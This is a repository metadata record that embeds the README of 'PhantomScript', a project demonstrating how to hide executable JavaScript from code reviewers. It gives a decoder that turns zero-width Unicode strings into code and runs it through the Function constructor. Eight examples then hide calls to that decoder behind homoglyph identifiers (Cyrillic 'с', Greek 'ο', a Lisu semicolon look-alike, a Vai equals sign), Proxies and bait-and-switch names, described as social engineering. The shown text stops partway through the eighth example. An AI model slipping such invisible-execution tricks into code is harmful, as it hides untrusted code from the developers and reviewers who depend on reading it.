{"id":13703970,"url":"https://github.com/jagracey/PhantomScript","last_synced_at":"2025-05-05T09:32:27.311Z","repository":{"id":87915176,"uuid":"59799910","full_name":"jagracey/PhantomScript","owner":"jagracey","description":":ghost: :flashlight: Invisible JS code execution \u0026 social engineering.","archived":false,"fork":false,"pushed_at":"2016-06-09T21:19:20.000Z","size":97,"stargazers_count":45,"open_issues_count":1,"forks_count":5,"subscribers_count":5,"default_branch":"master","last_synced_at":"2024-08-03T21:04:28.412Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://git.io/PhantomScript","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jagracey.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2016-05-27T03:04:14.000Z","updated_at":"2024-02-04T12:57:39.000Z","dependencies_parsed_at":null,"dependency_job_id":"acd5842c-c7d6-4d7b-ad5d-221e54a2916c","html_url":"https://github.com/jagracey/PhantomScript","commit_stats":null,"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jagracey%2FPhantomScript","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jagracey%2FPhantomScript/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jagracey%2FPhantomScript/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jagracey%2FPhantomScript/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jagracey","download_url":"https://codeload.github.com/jagracey/PhantomScript/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":224439613,"owners_count":17311485,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-02T21:01:02.391Z","updated_at":"2024-11-13T11:30:29.253Z","avatar_url":"https://github.com/jagracey.png","language":"JavaScript","funding_links":[],"categories":[":collision: Lowercase Transformation Collisions","JavaScript"],"sub_categories":["One-To-Many Case Mappings"],"readme":"![](https://raw.githubusercontent.com/jagracey/PhantomScript/020172df875ae4dacac9f719228f7746ad34b98b/resources/phantomScript.jpg)\n\n\n# Executing arbitrary invisible code using a little social engineering.\n\n\u003cbr\u003e\n\n# Foreword:\nDifferent fonts and IDEs handle zero-width and confuseable characters differently. For example, Vim is particularily great at catching *most* zero-width characters, though certain characters like U+2060 (WORD JOINER) often make it through. Atom in particular catches very few characters. Your results may vary.\n\n\n\n\u003cbr\u003e \n# Quickstart\nTo start, paste the following script into your browser's console. If you don't trust this code (which is entirely fair), you can read, trust, then copy the decodedEval script from [the end of the README](README.md#user-content-add-in-the-decodereval-script). We'll go over obfuscation and minification later on.\n```javascript\nvar decode=function(val){return Array.from(val).map(x=\u003ex.charCodeAt()).filter(x=\u003e(x===8206||x===65279)).map(x=\u003ex-8206\u00261).join('').match(/.{8}/g).map(function(c){return String.fromCharCode(parseInt(c,2))}).join('');};var decodedEval=function(code){[][\"filter\"][\"constructor\"](decode(code))();};\n```\n\nNow that the decoder script is added- we can set the decoder function to just about any variable we want for some great fun.\n\n\n\n# Delightfully familiar Examples\n0.\n\u003cstrong\u003e\u003ca id=\"jquery\" href=\"#jquery\"\u003ejQuery selectors\u003c/a\u003e\u003c/strong\u003e\n```javascript\n// Hide and obfuscate somewhere.\n$\\u{200D} = decodedEval;\n\nvar selector = $‍('‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿#selector');\n```\n\n1.\n\u003cstrong\u003e\u003ca id=\"semicolons\" href=\"#semicolons\"\u003eDangerous Semi-colons (AKA the LISU LETTER TONE MYA NA character)\u003c/a\u003e\u003c/strong\u003e\n```javascript\nvar \\u{A4FC} = decodedEval;\n\n// Sweet and simple\nꓼ('‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿')\n```\n\n2.\n\u003cstrong\u003e\u003ca id=\"cyrillic\" href=\"#cyrillic\"\u003eCyrillic characters look normal!  (well, usually)\u003c/a\u003e\u003c/strong\u003e\n```javascript\n// Using U+0441 CYRILLIC SMALL LETTER ES   (the \"c\" is different)\nvar сonsole = { log: decodedEval };\n\n// the ES6 shorthand function call (the two backticks)\nсonsole.log('‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿Check Point');\n```\n\n3.\n\u003cstrong\u003e\u003ca id=\"templates\" href=\"#templates\"\u003eECMAScript 6 can use templates to call functions!\u003c/a\u003e\u003c/strong\u003e\n```javascript\n// There is an Unicode Han Character 'U+200AD' (U+200AD) acting as the function.\n// String templates expose the raw string array via \"raw\".\nvar \\u{200AD}= function(x){ decodedEval(x.raw[0]) };\n\n// A lone function + template.\n𠂭`‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿Foo`\n\n// Or a more natural alternative:\nvar PORT = 3000;\nvar a = 𠂭`‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿Express app is now running. Try it out at http://localhost:#{PORT}`;\n\n```\n\n4.\n\u003cstrong\u003e\u003ca id=\"overwride\" href=\"#overwride\"\u003eOverriding toString or console.log\u003c/a\u003e\u003c/strong\u003e\n```javascript\n// If someone overwrites toString or console.log with the decodedEval function then this should work:\n𠂭`‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿`\n\n\n\nconsole.l\\u{03BF}g = function(str){ decodedEval(str); return console.log(str); };\n\n// Since visible text is filtered out, we can add normal looking text to fit in.\n// Also, the 'o' in log is U+03BF\nconsole.lοg('‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿Normal Looking Text');\n```\n\n\n\n5.\n\u003cstrong\u003e\u003ca id=\"proxies\" href=\"proxies\"\u003eWe can use Proxies for method calls.\u003c/a\u003e\u003c/strong\u003e\n```javascript\n// Hide this somewhere, and of course obfuscate it\nvar bar = new Proxy({}, { get: decodedEval });\n\nbar.get('‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿Bar');\n```\n\n6.\n\u003cstrong\u003e\u003ca id=\"bait-switch\" href=\"bait-switch\"\u003eWe can trick the user with bait and switch tactics\u003c/a\u003e\u003c/strong\u003e\n```javascript\n// Using U+0441 CYRILLIC SMALL LETTER ES, again\nvar funс1 = decodedEval;\nvar funс2 = funс1.bind(this,'‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿');   // Yeah this ones basically static.\n\n\n// Bait and Switched.\nvar func2 = function(){}; // No Operation, but could be anything, since it isn't actually run.\nsetTimeout(funс2, 0);\n\n\n// OR another switch\nfunction func1(thing){\n    return thing.toUpperCase();\n}\nfunс1('‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿lowercase-foo');\n\n// or even better:\nfoo = 'bar';\nfoo.replace(/bar|Whatever Regex Here/,funс2);\n\n```\n\n7.\n\u003cstrong\u003e\u003ca id=\"assignment\" href=\"assignment\"\u003eFaked Variable Assignment\u003c/a\u003e\u003c/strong\u003e\n```javascript\n// Hide this away somewhere. Uses the U+A60C VAI SYLLABLE LENGTHENER character (=)\nvar foo\\u{A60C}= function(x){ decodedEval(x.raw[0]) };\n\nvar foo;\nfooꘌ`‎﻿﻿‎‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎‎﻿﻿﻿‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿‎‎﻿﻿﻿‎﻿﻿‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎‎﻿‎﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎﻿‎‎‎‎‎﻿‎‎‎﻿‎‎﻿‎﻿‎‎‎‎‎﻿﻿‎﻿‎‎‎‎﻿﻿‎‎‎‎﻿‎﻿﻿‎﻿﻿﻿‎‎﻿﻿﻿‎﻿‎‎‎﻿﻿‎﻿﻿﻿﻿‎﻿﻿‎﻿﻿‎﻿‎﻿‎﻿‎‎﻿﻿‎﻿﻿‎‎‎﻿﻿‎﻿﻿﻿‎‎﻿‎‎﻿﻿‎﻿‎‎﻿‎﻿﻿﻿‎‎‎‎‎﻿﻿﻿‎﻿‎‎‎‎﻿‎‎‎﻿‎‎‎﻿‎﻿‎‎﻿`;\n```\n\n\n8.\n\u003cstrong\u003e\u003ca id=\"conditional\" href=\"conditional\"\u003eFaked Conditional\u003c/a\u003e\u003c/strong\u003e\n```javascript\n// Hide this away somewhere. Uses the U+A60C VAI SYLLABLE LENGTHENER character (=)\nvar myVar\\u{A60C}\\u{A60C}\\u{A60C} = function(x){ decodedEval(x.raw[0]) };\n\n// The triple equal sign  (Strict Equality Comparison) isn't a real.\nif ( 